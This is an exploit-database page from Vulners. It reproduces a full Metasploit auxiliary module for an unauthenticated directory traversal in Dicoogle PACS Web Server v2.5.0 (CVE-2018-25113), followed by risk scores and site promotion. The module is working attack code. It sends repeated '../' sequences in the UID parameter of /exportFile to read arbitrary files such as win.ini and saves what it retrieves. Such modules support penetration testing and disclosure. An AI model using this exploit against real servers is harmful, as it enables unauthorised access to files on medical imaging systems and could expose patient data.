Lucene search
+L

Dicoogle PACS Web Server Directory Traversal

🗓️ 11 Jul 2018 00:00:00Reported by Carlos Avila, h00dieType 
metasploit
 metasploit
🔗 www.rapid7.com👁 11 Views

Dicoogle PACS Web Server Directory Traversal in v2.5.0

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Dicoogle PACS Web Server Directory Traversal',
        'Description' => %q{
          This module exploits an unauthenticated directory traversal vulnerability
          in the Dicoogle PACS Web Server v2.5.0 and possibly earlier, allowing an
          attacker to read arbitrary files with the web server privileges.
          While the application is java based, the directory traversal was only
          successful against Windows targets.
        },
        'References' => [
          ['CVE', '2018-25113'],
          ['EDB', '45007']
        ],
        'Author' => [
          'Carlos Avila', # Vulnerability discovery
          'h00die' # Metasploit module
        ],
        'DisclosureDate' => '2018-07-11',
        'License' => MSF_LICENSE,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),
        OptInt.new('DEPTH', [ true, 'Traversal Depth (to reach the root folder)', 15 ])
      ]
    )
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "../" * datastore['DEPTH'] << filename

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => '/exportFile',
      'vars_get' => {
        'UID' => traversal
      }
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'dicoogle.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Jul 2018 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 48.7
EPSS0.01197
SSVC
11